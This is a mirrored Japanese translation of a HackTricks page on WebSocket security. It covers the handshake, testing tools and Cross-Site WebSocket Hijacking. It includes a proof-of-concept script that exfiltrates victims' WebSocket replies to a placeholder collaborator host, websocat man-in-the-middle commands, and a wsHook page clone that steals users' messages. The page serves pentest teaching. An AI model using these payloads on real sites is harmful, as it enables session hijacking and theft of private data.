mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
176 lines
15 KiB
Markdown
176 lines
15 KiB
Markdown
# クロスサイトWebSocketハイジャッキング(CSWSH)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||
|
||
</details>
|
||
|
||
## WebSocketsとは
|
||
|
||
WebSocket接続は**HTTP**を介して開始され、通常は**長時間維持**されます。メッセージは**いつでもどちらの方向にも送信**でき、トランザクション的な性質はありません。接続は通常、クライアントまたはサーバーがメッセージを送信する準備ができるまで開いたままになります。\
|
||
WebSocketsは、金融データのリアルタイムフィードなど、**低遅延またはサーバー起点のメッセージ**が必要な状況で特に有用です。
|
||
|
||
## WebSocket接続はどのように確立されますか?
|
||
|
||
(ここでは概要を示しますが、**WebSocket接続の詳細なガイド**は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)で見つけることができます)。\
|
||
WebSocket接続は通常、次のようなクライアントサイドのJavaScriptを使用して作成されます:
|
||
```javascript
|
||
var ws = new WebSocket("wss://normal-website.com/chat");
|
||
```
|
||
**`wss`**プロトコルは、暗号化された**TLS**接続上でWebSocketを確立しますが、**`ws`**プロトコルは**暗号化されていない**接続を使用します。
|
||
|
||
接続を確立するために、ブラウザとサーバーはHTTP上でWebSocketハンドシェイクを実行します。ブラウザは以下のようなWebSocketハンドシェイクリクエストを発行します:
|
||
```javascript
|
||
GET /chat HTTP/1.1
|
||
Host: normal-website.com
|
||
Sec-WebSocket-Version: 13
|
||
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
|
||
Connection: keep-alive, Upgrade
|
||
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
||
Upgrade: websocket
|
||
```
|
||
もしサーバーが接続を受け入れる場合、以下のようなWebSocketハンドシェイクのレスポンスを返します。
|
||
```javascript
|
||
HTTP/1.1 101 Switching Protocols
|
||
Connection: Upgrade
|
||
Upgrade: websocket
|
||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||
```
|
||
この時点では、ネットワーク接続は開いたままであり、双方向にWebSocketメッセージを送信するために使用することができます。
|
||
|
||
**注意**
|
||
|
||
WebSocketのハンドシェイクメッセージのいくつかの**特徴**について以下に示します:
|
||
|
||
* リクエストとレスポンスの**`Connection`**と**`Upgrade`**ヘッダーは、これがWebSocketのハンドシェイクであることを示しています。
|
||
* リクエストヘッダーの**`Sec-WebSocket-Version`**は、クライアントが使用したいWebSocketプロトコルのバージョンを指定します。通常は`13`です。
|
||
* リクエストヘッダーの**`Sec-WebSocket-Key`**には、ベース64でエンコードされた**ランダムな値**が含まれており、各ハンドシェイクリクエストでランダムに生成する必要があります。
|
||
* レスポンスヘッダーの**`Sec-WebSocket-Accept`**には、プロトコル仕様で定義された特定の文字列と、`Sec-WebSocket-Key`リクエストヘッダーに提出された値のハッシュが含まれています。これにより、誤って設定されたサーバーやキャッシュプロキシからの誤った応答が防止されます。
|
||
|
||
**`Sec-WebSocket-Key`**ヘッダーには、キャッシュプロキシからのエラーを防ぐためのランダムな値が含まれており、認証やセッション管理の目的では使用されません(_CSRFトークンではありません_)。
|
||
|
||
### Linuxコンソール
|
||
|
||
`websocat`を使用してWebSocketとの生の接続を確立することができます。
|
||
```bash
|
||
websocat --insecure wss://10.10.10.10:8000 -v
|
||
```
|
||
または、websocatサーバーを作成するには:
|
||
```bash
|
||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||
```
|
||
## MitM WebSocket接続
|
||
|
||
現在のローカルネットワークからクライアントが**HTTP WebSocket**に接続していることがわかった場合、[ARPスプーフィング攻撃](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)を試して、クライアントとサーバーの間でMitM攻撃を実行することができます。\
|
||
クライアントが接続しようとしている場合、次のコマンドを使用できます:
|
||
```bash
|
||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||
```
|
||
## Websocketsの列挙
|
||
|
||
[**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **というツール**を使用すると、Websocketsで自動的に既知の**脆弱性を発見、指紋認証、検索**することができます。
|
||
|
||
## Websocketデバッグツール
|
||
|
||
* **Burp Suite**は、通常のHTTP通信と同様に、MitM Websockets通信をサポートしています。
|
||
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**"の略で、Node.jsで書かれたこのツールは、クライアントとサーバー間のすべてのWebSocketおよびSocket.IO通信を**キャプチャ、インターセプト、カスタムメッセージの送信**、表示するためのユーザーインターフェースを提供します。
|
||
* [**wsrepl**](https://github.com/doyensec/wsrepl)は、特にペネトレーションテスト向けに設計された**対話型WebSocket REPL**です。これにより、**受信したWebSocketメッセージを観察し、新しいメッセージを送信**するためのインターフェースが提供され、この通信を**自動化**するための使いやすいフレームワークが備わっています。 
|
||
* [**https://websocketking.com/**](https://websocketking.com/)は、**websockets**を使用して他のウェブサイトと**通信するためのウェブ**です。
|
||
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket)は、他の種類の通信/プロトコルと共に、**websockets**を使用して他のウェブサイトと**通信するためのウェブ**を提供します。
|
||
|
||
## Websocket Lab
|
||
|
||
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course)には、Websocketsを使用してウェブを起動するためのコードがあり、[**この投稿**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/)には説明があります。
|
||
|
||
## クロスサイトWebSocketハイジャッキング(CSWSH)
|
||
|
||
または、_クロスオリジンWebSocketハイジャッキング_とも呼ばれます。\
|
||
これは、WebSocketハンドシェイクにおける**クロスサイトリクエストフォージェリ(CSRF)**です。
|
||
|
||
これは、**WebSocketハンドシェイク**リクエストがセッション管理に**HTTPクッキーのみ**を使用し、**CSRFトークンや他の予測不可能な値を含まない**場合に発生します。\
|
||
攻撃者は、**自分のドメイン上に悪意のあるウェブページ**を作成し、脆弱なアプリケーションに**クロスサイトWebSocket接続**を確立します。アプリケーションは、**被害者ユーザーのセッションのコンテキスト**で接続を処理します。
|
||
|
||
### 簡単な攻撃
|
||
|
||
**websocket**接続を**確立**する際に、**クッキー**が**サーバーに送信**されることに注意してください。**サーバー**は、**送信されたクッキーに基づいて各特定のユーザーを彼のwebsocketセッションに関連付ける**かもしれません。
|
||
|
||
その後、**例えば**、**websocket**サーバーがユーザーの会話の履歴を返す場合、メッセージに "**READY**" が送信されると、**単純なXSS**が接続を確立します(**クッキー**は自動的に送信され、被害者ユーザーを認証します)。 "**READY**" を**送信**することで、会話の履歴を**取得**することができます。
|
||
```markup
|
||
<script>
|
||
websocket = new WebSocket('wss://your-websocket-URL')
|
||
websocket.onopen = start
|
||
websocket.onmessage = handleReply
|
||
function start(event) {
|
||
websocket.send("READY"); //Send the message to retreive confidential information
|
||
}
|
||
function handleReply(event) {
|
||
//Exfiltrate the confidential information to attackers server
|
||
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||
}
|
||
</script>
|
||
```
|
||
### クロスオリジン + 異なるサブドメインのクッキー
|
||
|
||
このブログ記事[https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)では、攻撃者がウェブソケット通信が行われているドメインの**サブドメイン**で**任意のJavaScriptを実行**することに成功しました。**サブドメイン**であるため、**クッキー**が**送信**され、**WebsocketがOriginを正しくチェックしなかった**ため、それと通信して**トークンを盗む**ことが可能でした。
|
||
|
||
### ユーザーからのデータの盗み出し
|
||
|
||
なりすましを行いたいウェブアプリケーション(たとえば.htmlファイル)をコピーし、ウェブソケット通信が行われているスクリプト内に次のコードを追加します:
|
||
```javascript
|
||
//This is the script tag to load the websocket hooker
|
||
<script src='wsHook.js'></script>
|
||
|
||
//These are the functions that are gonig to be executed before a message
|
||
//is sent by the client or received from the server
|
||
//These code must be between some <script> tags or inside a .js file
|
||
wsHook.before = function(data, url) {
|
||
var xhttp = new XMLHttpRequest();
|
||
xhttp.open("GET", "client_msg?m="+data, true);
|
||
xhttp.send();
|
||
}
|
||
wsHook.after = function(messageEvent, url, wsObject) {
|
||
var xhttp = new XMLHttpRequest();
|
||
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
|
||
xhttp.send();
|
||
return messageEvent;
|
||
}
|
||
```
|
||
次に、[https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) から `wsHook.js` ファイルをダウンロードし、**ウェブファイルが保存されているフォルダに保存**してください。\
|
||
ウェブアプリケーションを公開し、ユーザーがそれに接続することで、WebSocketを介して送受信されるメッセージを盗むことができます。
|
||
```javascript
|
||
sudo python3 -m http.server 80
|
||
```
|
||
## 他の脆弱性
|
||
|
||
Webソケットは、サーバーサイドとクライアントサイドにデータを送信する仕組みであるため、サーバーとクライアントが情報を処理する方法によっては、Webソケットを使用してXSS、SQLi、または他の一般的なWebの脆弱性を悪用することができます。
|
||
|
||
## **WebSocket Smuggling**
|
||
|
||
この脆弱性により、逆プロキシの制限を回避することができます。逆プロキシは、(実際にはそうではない場合でも)Webソケット通信が確立されたと信じるようになります。これにより、攻撃者は隠されたエンドポイントにアクセスすることができます。詳細については、次のページを参照してください:
|
||
|
||
{% content-ref url="h2c-smuggling.md" %}
|
||
[h2c-smuggling.md](h2c-smuggling.md)
|
||
{% endcontent-ref %}
|
||
|
||
## 参考文献
|
||
|
||
{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **ハッキングのトリックを共有するには、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||
|
||
</details>
|